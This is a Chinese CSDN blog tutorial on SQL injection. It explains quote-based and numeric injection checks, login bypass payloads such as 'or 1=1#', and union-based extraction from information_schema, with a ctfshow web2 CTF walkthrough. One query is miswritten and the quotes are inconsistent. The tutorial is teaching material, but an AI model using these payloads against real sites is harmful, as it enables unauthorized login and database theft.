Sql注入的入门教程

本文详细介绍了SQL注入的原理、步骤及常见类型,如单引号双引号注入和数字型注入。通过实例展示了如何利用注入漏洞获取数据库信息,包括用户数据、数据库名称、表名和字段内容。同时强调了`information_schema`数据库在信息获取中的关键作用。文章还提醒开发者注意对用户输入进行有效过滤和验证,以防止SQL注入攻击。
摘要由CSDN通过智能技术生成

Sql注入比较常见的漏洞之一,例用程序员的漏洞来进行无账号的登陆,篡改数据库。任何客户端可控,传参数到服务端的变量,和数据库交互,都有可能存在sql注入

原理

用户通过构造sql语句来模仿服务器发向服务器的语句,造成错误执行。从而达到自己的目的。

sql注入的步骤

1.发现注入位置。

2.判断注入类型传参方式的:get类型,post类型,cookie类型。

以及根据注入点不同的:数字型注入,单引号注入,双引号注入。

 

首先是单引号双引号注入(单引号为例):

SELECT * FROM `article` where id = ‘[id]’

SELECT * FROM `article` where id = “[id]

 

http://www.xx.com/a.php?id=1’and 1=’1

http://www.xx.com/a.php?id=1’and 1=’2

若第一个payload为查询1,第二个返回值为错误,则存在单双引号注入。

数字型为

SELECT * FROM `article` where id =[id]

http://www.xx.com/a.php?id=1 and 1=1

http://www.xx.com/a.php?id=1 and 1=2

 

比如:

 

已知某网站的sql查询语句如下,并且没有做任何的屏蔽措施。

 

select * from users where username='用户名' and password=md5('密码')

 

此处我们容易想到闭合前端的引号构成注入,当我们输入用户名为’or 1=1#,

 

select * from users where username='or 1=1#' and password=md5('')

 

由于在sql注入中#等同于注释,该语句语句可以等价于

 

select * from users where username='or 1=1#' and password=md5('')

 

该语句由于1=1恒成立,故会返回users中所有的用户。

倘若我们已知用户名而不清楚密码的情况下(假设用户名为admin):

 

select * from users where username='用户名' and password=md5('密码')

 

输入:admin’#

 

select * from users where username='admin’#' and password=md5('密码')

 

等同于

select * from users where username='admin’#' and password=md5('密码')

故会在不用密码的情况成功的登陆admin用户。

 

  1. 获取数据(重要)

Mysql中又三种默认库

information_schema : 保存着关于MySQL服务器所维护的所有其他数据库的信息。(主要)

mysql : 存储数据库的户、权限、设置关键字。

performance_schema : 收集数据库服务器性能 参数。

: MySQL < 5.0 没有信息数据库

 

 

 

 

Information_schema又包括

 

SCHEMATA // 数据库信息表(库名)

TABLES // 数据表信息表(表名)

COLUMNS // 数据列信息表(列名)

 

以ctfshow web2为例

 

查看回显位置

 

admin or 1=1 union select 1,2,3#

查看当前的库名

admin or 1=1 union select 1,database(),3#

 

查看表名

admin or 1=1 union select 1,table_name,3 from information_schema.tables where table_name=web2#          

查看字段名

admin or 1=1 union select 1,column_name,3 from information_column.name where table_name=‘flag’#

 

根据字段查内容

admin or 1=1 union select 1,flag,3 from flag#

 

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值